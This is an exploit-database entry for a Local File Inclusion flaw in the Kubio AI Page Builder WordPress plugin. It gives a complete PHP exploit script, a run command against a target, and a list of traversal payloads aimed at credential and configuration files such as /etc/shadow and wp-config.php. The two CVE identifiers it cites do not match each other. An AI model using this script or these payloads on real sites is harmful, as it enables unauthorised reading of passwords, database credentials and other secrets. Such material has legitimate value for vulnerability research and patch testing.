## https://sploitus.com/exploit?id=PACKETSTORM:213022
=============================================================================================================================================
| # Title : Kubio AI Page Builder 2.5.1 PHP LFI Extractor Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://downloads.wordpress.org/plugin/kubio.2.5.1.zip |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/190227/ & CVE-2025-30208
[+] Summary
A Local File Inclusion vulnerability exists in the function
`kubio_hybrid_theme_load_template` of the Kubio AI Page Builder plugin
for WordPress (versions ≤ 2.5.1). An unauthenticated attacker may include
arbitrary files via path traversal. This may lead to sensitive file
disclosure and can result in remote code execution when chained with
uploads.
[+] Impact:
-------
- Read arbitrary files
- Information disclosure
- Possible RCE chained with uploads
[+] Run
using: php poc.php https://target.com ../../../../../../etc/passwd
[+] Payload Variants
Linux Sensitive Files
/etc/passwd
/etc/shadow
/var/www/html/wp-config.php
/proc/self/environ
Windows Sensitive Files
C:\Windows\win.ini
C:\Windows\repair\SAM
C:\xampp\apache\logs\error.log
WP Sensitive Files
../../../../../../wp-config.php
../../../../../../wp-admin/admin.php
[+] poc
<?php
/*
* Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)
* PHP Scanner
* By: Indoushka
*/
error_reporting(E_ALL);
set_time_limit(0);
function http_get($url) {
$ctx = stream_context_create([
'http' => [
'timeout' => 10,
'method' => "GET",
'header' => "User-Agent: Indoushka-Scanner/1.0\r\n"
]
]);
return @file_get_contents($url, false, $ctx);
}
function parse_version($version) {
$p = explode('.', $version);
while (count($p) < 3) $p[] = 0;
return array_map('intval', array_slice($p, 0, 3));
}
function check_plugin_version($target) {
$readme = rtrim($target, "/") . "/wp-content/plugins/kubio/readme.txt";
$res = http_get($readme);
if (!$res) return [false, "Cannot fetch readme.txt"];
if (preg_match('/Stable tag:\s*([\d\.]+)/i', $res, $m)) {
$ver = trim($m[1]);
$parsed = parse_version($ver);
return [$parsed <= [2,5,1], $ver];
}
return [false, "Version not found"];
}
function exploit($url, $file) {
$exploit = rtrim($url, "/") .
"/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=" .
urlencode($file);
return http_get($exploit);
}
function banner() {
echo "\n=== Kubio AI Page Builder LFI PHP Scanner ===\n";
echo " CVE-2025-2294\n";
echo " By Indoushka\n\n";
}
banner();
if ($argc < 2) {
echo "Usage:\n";
echo "php kubio_lfi.php <url> [file]\n\n";
echo "Example:\nphp kubio_lfi.php https://victim.com ../../../../../../etc/passwd\n";
exit;
}
$target = $argv[1];
$file = $argv[2] ?? "../../../../../../etc/passwd";
list($vuln, $ver) = check_plugin_version($target);
if ($vuln) {
echo "[+] Vulnerable version detected: $ver\n";
echo "[+] Exploiting...\n";
$content = exploit($target, $file);
if ($content) {
echo "\n===== FILE CONTENT START =====\n";
echo $content;
echo "\n===== FILE CONTENT END =====\n";
} else {
echo "[-] Exploit failed or no output.\n";
}
} else {
echo "[-] Not vulnerable: $ver\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================